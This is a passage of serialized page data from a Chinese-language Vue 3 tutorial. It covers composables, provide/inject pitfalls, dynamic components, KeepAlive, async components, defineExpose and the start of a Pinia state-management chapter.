catch { \u002F* 脏数据兜底 *\u002F }\n  const data = ref(initial)\n  watch(data, (v) => {\n    try { localStorage.setItem(key, JSON.stringify(v)) } catch (e) { console.warn('存储失败', e) }\n  }, { deep: true })\n  return data\n}\n",[22,29257,29258,29263,29273,29277,29281,29286,29301,29316,29320,29340,29353,29392,29406,29421,29459,29468,29475],{"__ignoreMap":314},[331,29259,29260],{"class":333,"line":334},[331,29261,29262],{"class":1003},"\u002F\u002F composables\u002FuseLocalStorage.js\n",[331,29264,29265,29267,29269,29271],{"class":333,"line":341},[331,29266,4648],{"class":616},[331,29268,25416],{"class":337},[331,29270,13735],{"class":616},[331,29272,17864],{"class":365},[331,29274,29275],{"class":333,"line":357},[331,29276,998],{"emptyLinePlaceholder":997},[331,29278,29279],{"class":333,"line":371},[331,29280,1004],{"class":1003},[331,29282,29283],{"class":333,"line":384},[331,29284,29285],{"class":1003}," * 与 localStorage 同步的 ref。\n",[331,29287,29288,29290,29292,29295,29298],{"class":333,"line":397},[331,29289,1024],{"class":1003},[331,29291,2423],{"class":616},[331,29293,29294],{"class":501}," {string}",[331,29296,29297],{"class":337}," key",[331,29299,29300],{"class":1003}," 存储键名\n",[331,29302,29303,29305,29307,29310,29313],{"class":333,"line":418},[331,29304,1024],{"class":1003},[331,29306,2423],{"class":616},[331,29308,29309],{"class":501}," {any}",[331,29311,29312],{"class":337}," fallback",[331,29314,29315],{"class":1003}," 读不到（或解析失败）时的兜底值\n",[331,29317,29318],{"class":333,"line":427},[331,29319,1058],{"class":1003},[331,29321,29322,29324,29326,29329,29331,29333,29335,29338],{"class":333,"line":439},[331,29323,5219],{"class":616},[331,29325,1066],{"class":616},[331,29327,29328],{"class":501}," useLocalStorage",[331,29330,966],{"class":337},[331,29332,8230],{"class":2472},[331,29334,409],{"class":337},[331,29336,29337],{"class":2472},"fallback",[331,29339,2476],{"class":337},[331,29341,29342,29345,29348,29350],{"class":333,"line":450},[331,29343,29344],{"class":616},"  let",[331,29346,29347],{"class":337}," initial ",[331,29349,518],{"class":616},[331,29351,29352],{"class":337}," fallback\n",[331,29354,29355,29357,29360,29362,29364,29366,29368,29371,29374,29377,29380,29383,29385,29387,29390],{"class":333,"line":456},[331,29356,1097],{"class":616},[331,29358,29359],{"class":337}," { initial ",[331,29361,518],{"class":616},[331,29363,21014],{"class":344},[331,29365,1192],{"class":337},[331,29367,21019],{"class":501},[331,29369,29370],{"class":337},"(localStorage.",[331,29372,29373],{"class":501},"getItem",[331,29375,29376],{"class":337},"(key)) ",[331,29378,29379],{"class":616},"??",[331,29381,29382],{"class":337}," fallback } ",[331,29384,1317],{"class":616},[331,29386,605],{"class":337},[331,29388,29389],{"class":1003},"\u002F* 脏数据兜底 *\u002F",[331,29391,9413],{"class":337},[331,29393,29394,29396,29399,29401,29403],{"class":333,"line":775},[331,29395,1496],{"class":616},[331,29397,29398],{"class":344}," data",[331,29400,957],{"class":616},[331,29402,13780],{"class":501},[331,29404,29405],{"class":337},"(initial)\n",[331,29407,29408,29410,29413,29415,29417,29419],{"class":333,"line":785},[331,29409,14023],{"class":501},[331,29411,29412],{"class":337},"(data, (",[331,29414,14033],{"class":2472},[331,29416,3180],{"class":337},[331,29418,1489],{"class":616},[331,29420,1100],{"class":337},[331,29422,29423,29426,29429,29431,29434,29436,29438,29440,29443,29445,29448,29451,29453,29456],{"class":333,"line":795},[331,29424,29425],{"class":616},"    try",[331,29427,29428],{"class":337}," { localStorage.",[331,29430,14043],{"class":501},[331,29432,29433],{"class":337},"(key, ",[331,29435,13165],{"class":344},[331,29437,1192],{"class":337},[331,29439,13170],{"class":501},[331,29441,29442],{"class":337},"(v)) } ",[331,29444,1317],{"class":616},[331,29446,29447],{"class":337}," (e) { console.",[331,29449,29450],{"class":501},"warn",[331,29452,966],{"class":337},[331,29454,29455],{"class":365},"'存储失败'",[331,29457,29458],{"class":337},", e) }\n",[331,29460,29461,29464,29466],{"class":333,"line":805},[331,29462,29463],{"class":337},"  }, { deep: ",[331,29465,1131],{"class":344},[331,29467,1139],{"class":337},[331,29469,29470,29472],{"class":333,"line":819},[331,29471,1633],{"class":616},[331,29473,29474],{"class":337}," data\n",[331,29476,29477],{"class":333,"line":850},[331,29478,459],{"class":337},[11,29480,29481],{},"在组件里用：",[308,29483,29485],{"className":5996,"code":29484,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nimport { useCounter, useLocalStorage } from '@\u002Fcomposables'\nconst { count, inc } = useCounter(0)\nconst note = useLocalStorage('todo-note', '')\n\u003C\u002Fscript>\n",[22,29486,29487,29497,29509,29533,29555],{"__ignoreMap":314},[331,29488,29489,29491,29493,29495],{"class":333,"line":334},[331,29490,510],{"class":337},[331,29492,891],{"class":497},[331,29494,6299],{"class":501},[331,29496,505],{"class":337},[331,29498,29499,29501,29504,29506],{"class":333,"line":341},[331,29500,4648],{"class":616},[331,29502,29503],{"class":337}," { useCounter, useLocalStorage } ",[331,29505,13735],{"class":616},[331,29507,29508],{"class":365}," '@\u002Fcomposables'\n",[331,29510,29511,29513,29515,29517,29519,29521,29523,29525,29527,29529,29531],{"class":333,"line":357},[331,29512,951],{"class":616},[331,29514,605],{"class":337},[331,29516,25866],{"class":344},[331,29518,409],{"class":337},[331,29520,29221],{"class":344},[331,29522,2599],{"class":337},[331,29524,518],{"class":616},[331,29526,29184],{"class":501},[331,29528,966],{"class":337},[331,29530,628],{"class":344},[331,29532,972],{"class":337},[331,29534,29535,29537,29540,29542,29544,29546,29549,29551,29553],{"class":333,"line":371},[331,29536,951],{"class":616},[331,29538,29539],{"class":344}," note",[331,29541,957],{"class":616},[331,29543,29328],{"class":501},[331,29545,966],{"class":337},[331,29547,29548],{"class":365},"'todo-note'",[331,29550,409],{"class":337},[331,29552,9164],{"class":365},[331,29554,972],{"class":337},[331,29556,29557,29559,29561],{"class":333,"line":384},[331,29558,788],{"class":337},[331,29560,891],{"class":497},[331,29562,505],{"class":337},[11,29564,29565],{},"写组合式函数的四条约定：",[1659,29567,29568,29578,29584,29597],{},[1662,29569,29570,29571,29573,29574,29577],{},"名字以 ",[22,29572,14632],{}," 开头，放 ",[22,29575,29576],{},"composables\u002F"," 目录（Nuxt 里连 import 都不用写）。",[1662,29579,29580,29583],{},[17,29581,29582],{},"返回值用 ref\u002Fcomputed 而不是普通值","，否则解构就丢响应性。",[1662,29585,29586,29596],{},[17,29587,29588,29589,1901,29592,29595],{},"入参接受 ref 时用 ",[22,29590,29591],{},"toValue()",[22,29593,29594],{},"unref()"," 读","，让调用方能传常量也能传响应式值。",[1662,29598,29599,29600,272,29602,272,29604,272,29606,29608,29609,161],{},"内部注册的 ",[22,29601,5460],{},[22,29603,6734],{},[22,29605,15009],{},[22,29607,26295],{}," 会自动挂到调用它的组件上——前提是",[17,29610,29611],{},"在 setup 的同步执行期调用",[4748,29613],{"height":27777,"src":29614,"title":29615},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F13-provide-composable.html","示例 13：跨层级 provide\u002Finject 与 useCounter \u002F useLocalStorage 复用",[53,29617,4796],{"id":15719},[11,29619,29620,268,29623,29626,29627,29630,29631,161],{},[17,29621,29622],{},"1. provide 的是原始值就断了响应。",[22,29624,29625],{},"provide('count', count.value)"," 传出去的是当时的快照，之后祖先怎么改后代都不动。",[17,29628,29629],{},"provide 一个 ref（或 computed）","，后代读 ",[22,29632,8879],{},[11,29634,29635,268,29642,29645,29646,29649],{},[17,29636,29637,29638,1901,29640,161],{},"2. 在异步回调里 ",[22,29639,26295],{},[22,29641,15009],{},[22,29643,29644],{},"setTimeout(() => inject('theme'))"," 拿不到（脱离组件实例，Vue 会警告 ",[22,29647,29648],{},"inject() can only be used inside setup()","）。要注入就在 setup 顶层取好再用。",[11,29651,29652,268,29657,29660,29661,29664,29665,29668],{},[17,29653,29654,29655,161],{},"3. 组合式函数返回普通对象包着 ",[22,29656,8879],{},[22,29658,29659],{},"return { count: count.value }"," 断掉响应性；返回值请给 ref 本身，解构 ",[22,29662,29663],{},"const { count } = useCounter()"," 之后必须写 ",[22,29666,29667],{},"count.value","（模板里才自动解包）。",[11,29670,29671,29674,29675,29678,29679,29682],{},[17,29672,29673],{},"4. 顶层模块变量当成「每个组件一份」。"," 把 ",[22,29676,29677],{},"const state = ref(0)"," 写在函数",[17,29680,29681],{},"外面","（模块作用域），它就变成真正的全局单例——有时是故意的（全局配置），多数时候是 bug。",[11,29684,29685,29688,29689,29692,29693,29696],{},[17,29686,29687],{},"5. provide 的 key 拼错不会报错，只会拿到默认值。"," 用 ",[22,29690,29691],{},"Symbol()"," + 单独文件导出 key，或者 TypeScript 的 ",[22,29694,29695],{},"InjectionKey\u003CT>","，把这类错误交给编译器。",[11,29698,29699,29702],{},[17,29700,29701],{},"6. 后代直接改注入进来的状态会连累所有共享者。"," 这是设计（同一份数据），不是 bug。规范做法：provide 只读数据 + provide 一个改的动作，后代只调函数。",[11,29704,29705,268,29708,5760,29711,29714,29715,17306,29718,29721],{},[17,29706,29707],{},"7. 忘记清理的组合式函数是隐形泄漏源。",[22,29709,29710],{},"useMouse()",[22,29712,29713],{},"addEventListener('mousemove')"," 必须有 ",[22,29716,29717],{},"onUnmounted(() => removeEventListener(...))",[22,29719,29720],{},"useIntervalFn"," 之类要在卸载时停。",[53,29723,29725],{"id":29724},"附状态传递方式选择表","附：状态传递方式选择表",[57,29727,29728,29736],{},[60,29729,29730],{},[63,29731,29732,29734],{},[66,29733,9791],{},[66,29735,9794],{},[79,29737,29738,29747,29756,29767,29778,29786,29795,29803],{},[63,29739,29740,29743],{},[84,29741,29742],{},"父 → 子一层",[84,29744,29745],{},[22,29746,21105],{},[63,29748,29749,29752],{},[84,29750,29751],{},"子 → 父一层",[84,29753,29754],{},[22,29755,22133],{},[63,29757,29758,29761],{},[84,29759,29760],{},"表单值父子同步",[84,29762,29763,1901,29765],{},[22,29764,20316],{},[22,29766,23544],{},[63,29768,29769,29772],{},[84,29770,29771],{},"跨 2 层以上的环境数据（主题、语言、面板）",[84,29773,29774,1901,29776],{},[22,29775,15009],{},[22,29777,26295],{},[63,29779,29780,29783],{},[84,29781,29782],{},"全局共享、跨路由、需要 devtools",[84,29784,29785],{},"Pinia（第十五章）",[63,29787,29788,29791],{},[84,29789,29790],{},"复用「逻辑 + 状态」，作用域仍在单组件内",[84,29792,14316,29793],{},[22,29794,5574],{},[63,29796,29797,29800],{},[84,29798,29799],{},"复用「DOM 行为」",[84,29801,29802],{},"自定义指令",[63,29804,29805,29807],{},[84,29806,26313],{},[84,29808,29809,29810,29812],{},"模板 ref + ",[22,29811,26321],{},"（最后手段）",[48,29814,29816],{"id":29815},"十四动态组件keepalive-与异步组件","十四、动态组件、KeepAlive 与异步组件",[11,29818,29819],{},"标签名不固定（tab 面板、渲染器、表单字段类型由数据决定），或者「切走再回来不想丢掉输入」，都属于这一章。",[53,29821,29823,29824],{"id":29822},"动态组件component-is","动态组件：",[22,29825,29826],{},"\u003Ccomponent :is>",[308,29828,29830],{"className":5996,"code":29829,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nimport { shallowRef, ref } from 'vue'\nimport FieldText from '.\u002FFieldText.vue'\nimport FieldSelect from '.\u002FFieldSelect.vue'\n\n\u002F\u002F 方式一：字符串组件名（要求已注册）\nconst name = ref('field-text')\n\n\u002F\u002F 方式二：组件对象——用 shallowRef，别让 Vue 深度代理一个组件定义\nconst field = shallowRef(FieldText)\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Ccomponent :is=\"name\" :model-value=\"text\" @update:model-value=\"text = $event\" \u002F>\n  \u003Ccomponent :is=\"field\" \u002F>\n\u003C\u002Ftemplate>\n",[22,29831,29832,29842,29853,29865,29877,29881,29886,29903,29907,29912,29926,29934,29938,29946,29973,29988],{"__ignoreMap":314},[331,29833,29834,29836,29838,29840],{"class":333,"line":334},[331,29835,510],{"class":337},[331,29837,891],{"class":497},[331,29839,6299],{"class":501},[331,29841,505],{"class":337},[331,29843,29844,29846,29849,29851],{"class":333,"line":341},[331,29845,4648],{"class":616},[331,29847,29848],{"class":337}," { shallowRef, ref } ",[331,29850,13735],{"class":616},[331,29852,17864],{"class":365},[331,29854,29855,29857,29860,29862],{"class":333,"line":357},[331,29856,4648],{"class":616},[331,29858,29859],{"class":337}," FieldText ",[331,29861,13735],{"class":616},[331,29863,29864],{"class":365}," '.\u002FFieldText.vue'\n",[331,29866,29867,29869,29872,29874],{"class":333,"line":371},[331,29868,4648],{"class":616},[331,29870,29871],{"class":337}," FieldSelect ",[331,29873,13735],{"class":616},[331,29875,29876],{"class":365}," '.\u002FFieldSelect.vue'\n",[331,29878,29879],{"class":333,"line":384},[331,29880,998],{"emptyLinePlaceholder":997},[331,29882,29883],{"class":333,"line":397},[331,29884,29885],{"class":1003},"\u002F\u002F 方式一：字符串组件名（要求已注册）\n",[331,29887,29888,29890,29892,29894,29896,29898,29901],{"class":333,"line":418},[331,29889,951],{"class":616},[331,29891,559],{"class":344},[331,29893,957],{"class":616},[331,29895,13780],{"class":501},[331,29897,966],{"class":337},[331,29899,29900],{"class":365},"'field-text'",[331,29902,972],{"class":337},[331,29904,29905],{"class":333,"line":427},[331,29906,998],{"emptyLinePlaceholder":997},[331,29908,29909],{"class":333,"line":439},[331,29910,29911],{"class":1003},"\u002F\u002F 方式二：组件对象——用 shallowRef，别让 Vue 深度代理一个组件定义\n",[331,29913,29914,29916,29919,29921,29923],{"class":333,"line":450},[331,29915,951],{"class":616},[331,29917,29918],{"class":344}," field",[331,29920,957],{"class":616},[331,29922,20932],{"class":501},[331,29924,29925],{"class":337},"(FieldText)\n",[331,29927,29928,29930,29932],{"class":333,"line":456},[331,29929,788],{"class":337},[331,29931,891],{"class":497},[331,29933,505],{"class":337},[331,29935,29936],{"class":333,"line":775},[331,29937,998],{"emptyLinePlaceholder":997},[331,29939,29940,29942,29944],{"class":333,"line":785},[331,29941,510],{"class":337},[331,29943,6012],{"class":497},[331,29945,505],{"class":337},[331,29947,29948,29950,29952,29955,29957,29959,29961,29963,29965,29967,29969,29971],{"class":333,"line":795},[331,29949,537],{"class":337},[331,29951,18172],{"class":497},[331,29953,29954],{"class":501}," :is",[331,29956,518],{"class":337},[331,29958,23009],{"class":365},[331,29960,26026],{"class":501},[331,29962,518],{"class":337},[331,29964,23047],{"class":365},[331,29966,26033],{"class":501},[331,29968,518],{"class":337},[331,29970,26038],{"class":365},[331,29972,6998],{"class":337},[331,29974,29975,29977,29979,29981,29983,29986],{"class":333,"line":805},[331,29976,537],{"class":337},[331,29978,18172],{"class":497},[331,29980,29954],{"class":501},[331,29982,518],{"class":337},[331,29984,29985],{"class":365},"\"field\"",[331,29987,6998],{"class":337},[331,29989,29990,29992,29994],{"class":333,"line":819},[331,29991,788],{"class":337},[331,29993,6012],{"class":497},[331,29995,505],{"class":337},[11,29997,29998,29999,30002,30003,30008],{},"用组件对象时 ",[22,30000,30001],{},"ref(FieldText)"," 会触发「组件被 reactive 代理」的警告并带来无谓开销，",[17,30004,30005,30007],{},[22,30006,20903],{}," 才是正解","（示例 14 有对照）。",[53,30010,30012],{"id":30011},"keepalive缓存切换出去的组件","KeepAlive：缓存切换出去的组件",[308,30014,30016],{"className":485,"code":30015,"language":487,"meta":314,"style":314},"\u003CKeepAlive include=\"tab-a,tab-b\" :max=\"10\">\n  \u003Ccomponent :is=\"current\" \u002F>\n\u003C\u002FKeepAlive>\n",[22,30017,30018,30042,30057],{"__ignoreMap":314},[331,30019,30020,30022,30024,30027,30029,30032,30035,30037,30040],{"class":333,"line":334},[331,30021,510],{"class":337},[331,30023,28571],{"class":7088},[331,30025,30026],{"class":501}," include",[331,30028,518],{"class":337},[331,30030,30031],{"class":365},"\"tab-a,tab-b\"",[331,30033,30034],{"class":501}," :max",[331,30036,518],{"class":337},[331,30038,30039],{"class":365},"\"10\"",[331,30041,505],{"class":337},[331,30043,30044,30046,30048,30050,30052,30055],{"class":333,"line":341},[331,30045,537],{"class":337},[331,30047,18172],{"class":7088},[331,30049,29954],{"class":501},[331,30051,518],{"class":337},[331,30053,30054],{"class":365},"\"current\"",[331,30056,6998],{"class":337},[331,30058,30059,30061,30063],{"class":333,"line":357},[331,30060,788],{"class":337},[331,30062,28571],{"class":7088},[331,30064,505],{"class":337},[11,30066,30067,30068,30070,30071,30074,30075,1901,30077,4839,30079,18878,30082,30084],{},"包上 ",[22,30069,28571],{}," 后，切走的组件",[17,30072,30073],{},"不卸载","，状态（输入框内容、滚动位置、内部数据）保留；回来的时候不重新请求。配套钩子：",[22,30076,6764],{},[22,30078,28578],{},[17,30080,30081],{},"这才是缓存组件里该写「每次进入时刷新数据」的地方",[22,30083,6734],{}," 只会执行一次）。",[57,30086,30087,30095],{},[60,30088,30089],{},[63,30090,30091,30093],{},[66,30092,21105],{},[66,30094,7759],{},[79,30096,30097,30110,30120],{},[63,30098,30099,30104],{},[84,30100,30101],{},[22,30102,30103],{},"include",[84,30105,30106,30107,30109],{},"只缓存名字匹配的组件（按 ",[22,30108,1900],{}," 匹配）",[63,30111,30112,30117],{},[84,30113,30114],{},[22,30115,30116],{},"exclude",[84,30118,30119],{},"除这些名字外都缓存",[63,30121,30122,30127],{},[84,30123,30124],{},[22,30125,30126],{},"max",[84,30128,30129],{},"最多缓存几个，超出按 LRU 淘汰",[11,30131,30132,30134,30135,30138,30139,161],{},[22,30133,4775],{}," 的组件名默认由",[17,30136,30137],{},"文件名","推断，跨目录或动态创建时不稳定——需要精确匹配就用 ",[22,30140,30141],{},"defineOptions({ name: 'TabA' })",[53,30143,30145,30146],{"id":30144},"异步组件与-suspense","异步组件与 ",[22,30147,30148],{},"Suspense",[308,30150,30152],{"className":942,"code":30151,"language":944,"meta":314,"style":314},"const HeavyChart = defineAsyncComponent({\n  loader: () => import('.\u002FHeavyChart.vue'),\n  loadingComponent: LoadingBox,   \u002F\u002F 加载期间显示\n  errorComponent: ErrorBox,       \u002F\u002F 失败时显示\n  delay: 200,                     \u002F\u002F 200ms 内完成就不闪 loading\n  timeout: 10000                  \u002F\u002F 超时走 errorComponent\n})\n",[22,30153,30154,30168,30188,30196,30204,30217,30227],{"__ignoreMap":314},[331,30155,30156,30158,30161,30163,30166],{"class":333,"line":334},[331,30157,951],{"class":616},[331,30159,30160],{"class":344}," HeavyChart",[331,30162,957],{"class":616},[331,30164,30165],{"class":501}," defineAsyncComponent",[331,30167,1250],{"class":337},[331,30169,30170,30173,30175,30177,30180,30182,30185],{"class":333,"line":341},[331,30171,30172],{"class":501},"  loader",[331,30174,8621],{"class":337},[331,30176,1489],{"class":616},[331,30178,30179],{"class":616}," import",[331,30181,966],{"class":337},[331,30183,30184],{"class":365},"'.\u002FHeavyChart.vue'",[331,30186,30187],{"class":337},"),\n",[331,30189,30190,30193],{"class":333,"line":357},[331,30191,30192],{"class":337},"  loadingComponent: LoadingBox,   ",[331,30194,30195],{"class":1003},"\u002F\u002F 加载期间显示\n",[331,30197,30198,30201],{"class":333,"line":371},[331,30199,30200],{"class":337},"  errorComponent: ErrorBox,       ",[331,30202,30203],{"class":1003},"\u002F\u002F 失败时显示\n",[331,30205,30206,30209,30212,30214],{"class":333,"line":384},[331,30207,30208],{"class":337},"  delay: ",[331,30210,30211],{"class":344},"200",[331,30213,9337],{"class":337},[331,30215,30216],{"class":1003},"\u002F\u002F 200ms 内完成就不闪 loading\n",[331,30218,30219,30221,30224],{"class":333,"line":397},[331,30220,9322],{"class":337},[331,30222,30223],{"class":344},"10000",[331,30225,30226],{"class":1003},"                  \u002F\u002F 超时走 errorComponent\n",[331,30228,30229],{"class":333,"line":418},[331,30230,5399],{"class":337},[11,30232,30233,30234,4813,30237,30240,30241,30244],{},"路由级懒加载用的就是同一套机制（第十六章：",[22,30235,30236],{},"component: () => import('.\u002FPage.vue')",[22,30238,30239],{},"\u003CSuspense>","（实验性）能把「等待异步依赖」的边界统一交给模板管理，配合 ",[22,30242,30243],{},"async setup"," 使用；入门阶段先知道它存在即可。",[53,30246,30248,322,30250,30252],{"id":30247},"defineexposescript-setup-默认是封闭的",[22,30249,26321],{},[22,30251,4775],{}," 默认是封闭的",[308,30254,30256],{"className":5996,"code":30255,"language":5998,"meta":314,"style":314},"\u003C!-- FieldText.vue -->\n\u003Cscript setup>\nimport { ref } from 'vue'\nconst inner = ref('秘密')\nfunction focus() { \u002F* ... *\u002F }\ndefineExpose({ focus })          \u002F\u002F 只有列在这里的，父级通过 ref 才拿得到\n\u003C\u002Fscript>\n",[22,30257,30258,30263,30273,30283,30301,30314,30324],{"__ignoreMap":314},[331,30259,30260],{"class":333,"line":334},[331,30261,30262],{"class":1003},"\u003C!-- FieldText.vue -->\n",[331,30264,30265,30267,30269,30271],{"class":333,"line":341},[331,30266,510],{"class":337},[331,30268,891],{"class":497},[331,30270,6299],{"class":501},[331,30272,505],{"class":337},[331,30274,30275,30277,30279,30281],{"class":333,"line":357},[331,30276,4648],{"class":616},[331,30278,17859],{"class":337},[331,30280,13735],{"class":616},[331,30282,17864],{"class":365},[331,30284,30285,30287,30290,30292,30294,30296,30299],{"class":333,"line":371},[331,30286,951],{"class":616},[331,30288,30289],{"class":344}," inner",[331,30291,957],{"class":616},[331,30293,13780],{"class":501},[331,30295,966],{"class":337},[331,30297,30298],{"class":365},"'秘密'",[331,30300,972],{"class":337},[331,30302,30303,30305,30308,30310,30312],{"class":333,"line":384},[331,30304,3047],{"class":616},[331,30306,30307],{"class":501}," focus",[331,30309,17990],{"class":337},[331,30311,21851],{"class":1003},[331,30313,9413],{"class":337},[331,30315,30316,30318,30321],{"class":333,"line":397},[331,30317,26321],{"class":501},[331,30319,30320],{"class":337},"({ focus })          ",[331,30322,30323],{"class":1003},"\u002F\u002F 只有列在这里的，父级通过 ref 才拿得到\n",[331,30325,30326,30328,30330],{"class":333,"line":418},[331,30327,788],{"class":337},[331,30329,891],{"class":497},[331,30331,505],{"class":337},[11,30333,30334,30335,30338,30339,5664,30342,30344],{},"父级 ",[22,30336,30337],{},"fieldRef.value.focus()"," 可用，",[22,30340,30341],{},"fieldRef.value.inner",[22,30343,5872],{},"。这是刻意的设计（组件内部实现属于隐私），别为了「方便」把整个实例 expose 出去——优先用 props\u002Femit。",[4748,30346],{"height":4750,"src":30347,"title":30348},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F14-dynamic-keepalive.html","示例 14：动态组件、KeepAlive 缓存与异步组件加载态",[11,30350,30351,30352,30354,30355,655,30358,161],{},"示例 14 的开关能直观看到：不包 ",[22,30353,28571],{}," 时切走再回来输入没了（走的是 unmount\u002Fmount），包上之后内容还在、日志打的是 ",[22,30356,30357],{},"deactivated",[22,30359,30360],{},"activated",[53,30362,4796],{"id":16464},[11,30364,30365,30372,30373,30376,30377,30379],{},[17,30366,30367,30368,30371],{},"1. 组件对象被 ",[22,30369,30370],{},"ref()"," 包装。"," 出现 ",[22,30374,30375],{},"Component is being stateful... \u002F Vue 警告组件被代理","，并伴随性能损耗。组件定义请用 ",[22,30378,20903],{}," 或普通常量。",[11,30381,30382,30388,30389,161],{},[17,30383,30384,30385,30387],{},"2. KeepAlive 里 ",[22,30386,6734],{}," 不再「每次进入都跑」。"," 用户从 tab 切走再回来，你以为会刷新数据，其实什么都没发生。需要每次进入刷新的逻辑写在 ",[22,30390,6764],{},[11,30392,30393,268,30398,30400,30401,161],{},[17,30394,6665,30395,30397],{},[22,30396,30103],{}," 匹配不到。",[22,30399,4775],{}," 组件名靠文件名推断，动态\u002F打包后与预期不符 → 缓存完全没生效。显式 ",[22,30402,30403],{},"defineOptions({ name: 'X' })",[11,30405,30406,30415,30416,30419,30420,30423],{},[17,30407,30408,30409,1901,30411,30414],{},"4. 多根组件包在 ",[22,30410,28571],{},[22,30412,30413],{},"Transition"," 里直接报错。"," 这两者都要求默认插槽只有",[17,30417,30418],{},"一个","元素，且该元素是",[17,30421,30422],{},"单根","的。",[11,30425,30426,30432,30433,30436,30437,30439],{},[17,30427,30428,30429,30431],{},"5. 忘记 ",[22,30430,30126],{}," 导致内存吃紧。"," 每个被缓存的 tab 都活着（包括它的数据与定时器）。列表型 tab 建议 ",[22,30434,30435],{},":max=\"5\""," 或用 ",[22,30438,30116],{}," 排除重组件。",[11,30441,30442,30445,30446,30448],{},[17,30443,30444],{},"6. 缓存组件里的全局监听不会自动解绑。"," 因为它压根没走卸载钩子——",[22,30447,28578],{}," 里也要记得移除监听。",[11,30450,30451,30454,30455,161],{},[17,30452,30453],{},"7. 异步组件默认每次重新挂载都会重新请求 chunk。"," 命中不了浏览器缓存时观感就是「转圈」。需要缓存实例时再套 ",[22,30456,28571],{},[11,30458,30459,30468,30469,30472],{},[17,30460,5783,30461,30464,30465,30467],{},[22,30462,30463],{},":is"," 的值是 ",[22,30466,5872],{}," 时什么都不渲染","，且开发版只给一句弱警告。用 ",[22,30470,30471],{},"v-if=\"current\""," 兜一层，或给个默认组件——「页面空白但没报错」多半就是这个。",[53,30474,30476],{"id":30475},"附常用组合速查","附：常用组合速查",[57,30478,30479,30488],{},[60,30480,30481],{},[63,30482,30483,30485],{},[66,30484,9791],{},[66,30486,30487],{},"组合写法",[79,30489,30490,30503,30517,30527,30538,30550],{},[63,30491,30492,30495],{},[84,30493,30494],{},"tab 面板",[84,30496,30497,4809,30500],{},[22,30498,30499],{},"\u003Ccomponent :is=\"tabMap[key]\" \u002F>",[22,30501,30502],{},"KeepAlive include",[63,30504,30505,30508],{},[84,30506,30507],{},"表单字段按类型渲染",[84,30509,30510,30512,30513,4809,30515],{},[22,30511,20903],{}," 存组件 + ",[22,30514,29826],{},[22,30516,18737],{},[63,30518,30519,30522],{},[84,30520,30521],{},"首屏之外的重组件",[84,30523,30524],{},[22,30525,30526],{},"defineAsyncComponent(() => import(...))",[63,30528,30529,30532],{},[84,30530,30531],{},"需要动画的切换",[84,30533,30534,30537],{},[22,30535,30536],{},"\u003CTransition name=\"x\">\u003Ccomponent :is=\"v\" \u002F>\u003C\u002FTransition>","（单根）",[63,30539,30540,30542],{},[84,30541,26313],{},[84,30543,30544,30545,30547,30548],{},"子 ",[22,30546,26321],{}," + 父模板 ",[22,30549,4778],{},[63,30551,30552,30555],{},[84,30553,30554],{},"缓存数量兜底",[84,30556,30557],{},[22,30558,30559],{},"\u003CKeepAlive :max=\"5\">",[48,30561,30563],{"id":30562},"十五pinia跨页面共享状态","十五、Pinia：跨页面共享状态",[11,30565,30566,30567,30570],{},"组件树解决「谁是谁的孩子」，但实际项目里总有数据不属于任何一棵子树：登录用户、购物车、主题、全局消息提示。放在某个组件里就得层层透传，放外面又丢了响应性。",[17,30568,30569],{},"状态管理库","把这些数据收进一个「独立的、响应式的、任何组件都能引用」的对象。",[11,30572,30573],{},"Vue 生态现在的答案是 Pinia（Vuex 已进入维护状态，新项目别选它）。",[53,30575,30576],{"id":30576},"安装与最小闭环",[308,30578,30580],{"className":3902,"code":30579,"language":3904,"meta":314,"style":314},"npm install pinia        # Vue 3 + Vite 项目\n",[22,30581,30582],{"__ignoreMap":314},[331,30583,30584,30586,30588,30590],{"class":333,"line":334},[331,30585,4989],{"class":501},[331,30587,13016],{"class":365},[331,30589,13687],{"class":365},[331,30591,30592],{"class":1003},"        # Vue 3 + Vite 项目\n",[308,30594,30596],{"className":942,"code":30595,"language":944,"meta":314,"style":314},"\u002F\u002F main.js\nimport { createApp } from 'vue'\nimport { createPinia } from 'pinia'\nimport App from '.\u002FApp.vue'\n\ncreateApp(App).use(createPinia()).mount('#app')\n",[22,30597,30598,30603,30614,30625,30637,30641],{"__ignoreMap":314},[331,30599,30600],{"class":333,"line":334},[331,30601,30602],{"class":1003},"\u002F\u002F main.js\n",[331,30604,30605,30607,30610,30612],{"class":333,"line":341},[331,30606,4648],{"class":616},[331,30608,30609],{"class":337}," { createApp } ",[331,30611,13735],{"class":616},[331,30613,17864],{"class":365},[331,30615,30616,30618,30621,30623],{"class":333,"line":357},[331,30617,4648],{"class":616},[331,30619,30620],{"class":337}," { createPinia } ",[331,30622,13735],{"class":616},[331,30624,13738],{"class":365},[331,30626,30627,30629,30632,30634],{"class":333,"line":371},[331,30628,4648],{"class":616},[331,30630,30631],{"class":337}," App ",[331,30633,13735],{"class":616},[331,30635,30636],{"class":365}," '.\u002FApp.vue'\n",[331,30638,30639],{"class":333,"line":384},[331,30640,998],{"emptyLinePlaceholder":997},[331,30642,30643,30645,30648,30650,30652,30655,30658,30660,30662,30664],{"class":333,"line":397},[331,30644,17768],{"class":501},[331,30646,30647],{"class":337},"(App).",[331,30649,14632],{"class":501},[331,30651,966],{"class":337},[331,30653,30654],{"class":501},"createPinia",[331,30656,30657],{"class":337},"()).",[331,30659,17816],{"class":501},[331,30661,966],{"class":337},[331,30663,17821],{"class":365},[331,30665,972],{"class":337},[308,30667,30669],{"className":942,"code":30668,"language":944,"meta":314,"style":314},"\u002F\u002F stores\u002Fcounter.js —— setup store（推荐写法：长得像组件）\nimport { ref, computed } from 'vue'\nimport { defineStore } from 'pinia'\n\nexport const useCounter = defineStore('counter', () => {\n  const count = ref(0)\n  const double = computed(() => count.value * 2)\n  function inc(step = 1) { count.value += step }\n  async function loadFromServer() { \u002F* ... *\u002F }\n  return { count, double, inc, loadFromServer }\n})\n",[22,30670,30671,30676,30686,30696,30700,30723,30739,30761,30786,30801,30808],{"__ignoreMap":314},[331,30672,30673],{"class":333,"line":334},[331,30674,30675],{"class":1003},"\u002F\u002F stores\u002Fcounter.js —— setup 